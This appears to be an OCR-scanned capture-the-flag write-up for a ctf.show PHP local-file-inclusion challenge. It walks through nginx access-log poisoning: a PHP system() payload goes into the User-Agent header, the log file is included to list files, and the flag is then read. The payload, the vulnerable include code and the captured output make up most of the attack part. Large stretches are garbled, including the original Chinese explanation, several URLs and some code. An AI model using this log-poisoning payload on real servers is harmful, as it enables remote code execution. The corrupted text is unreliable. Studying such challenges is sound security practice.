1370HEYy, ZIE&idigphptidata, PUEH HEXFEE

<?php

/ %

# -*- coding: utf-8 -*-

# @Author: hlxa

# @Date: 2020-09-16 11:25:09

# @Last Modified by: hixa

# @Last Modified time: 2020-09-16 11:26:29
# @emall: hlxa@ctfer.com

# @link: https://ctfer.com

s
~

if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "??2?2", $file);
$file = str_replace("data", "??2?", $file);
include($file);

telse{
highlight_file(__FILE_ );

}
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TECHNOLOGIES MORE INFO

Web FR53 88 RERE
® Nginx 1201 ® Nginx 1201
HEES
P PHP
| 11: 26 9
Enrich your data with tech stacks ~

Upload a list of websites to get a report of the technologies in
use, such as CMS or ecommerce platforms.

Upload a list >

if(isset($_GET['file'])){

$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);

include($file);
Yelse{
highlight_file(__FILE__);
}

3.nginxfIk4s BRERIA H A5 U /var/log/nginx/access.log, FI K1 5%
iF>RUser-Agent, AT PABATIHEXTFEICLEA G2

F1Ehackbar By, el ifEbp B, fEiEK3kUser-AgentiE A
2RI, fileff2 HE S IER

LOAD ~ SPLIT EXECUTE TEST ~ sqLl ~ XSS ~ LFI ~ SSRF ~ SSTI ~ SHELL ~ ENCODING ~ HASHING ~ CUSTOM ~ MODE ~ THEME ~

URL
https://64dbf6ca-0657-41f5-9d79-99a45fde418b.challenge.ctf. show/?file:/varllog/nginxl/access .log

I Use POST method MODIFY HEADER
Name Value
Host ~ 64dbf6ca-0657-41f5-9d79-99a45fdes X
Name Value
User-Agent ~ <?php system('ls');?> X
vavava Value
V] Accept ~ text/html,application/xhtml+xml,e X

4. EXECUTENIR(IRI NS — IR BEICFAR Y, 56 _IR#UT), K
flog.php

172.12.234.244 - - [28/Nov/2025:13:25:19 +0000] "GET / §
172.12.234.244 - - [28/N0ov/2025:13:25:52 +0000] "GET /2!

11; Linux x86_64; rv:145.0) Gecko/20100101 Firefox/145.0"

Y te the image from the clipboard
© can Pasie TIE Mage oM Te Ciphet ps://ctf.show/" "fl0g.php index.php "

5. AFFEERY 5 tac flog.phpfFEiflag

25 "https://ctf.show/" "ﬂOg php index. php "172. 12 234.244 - - [28,
/" "$flag="ctfshow{ba310d19-f4a3-405d-9523-981c768c15bc}"; */
10 # @Last Modified by: h1xa # @Date: 2020-09-16 11:24:37 # @A






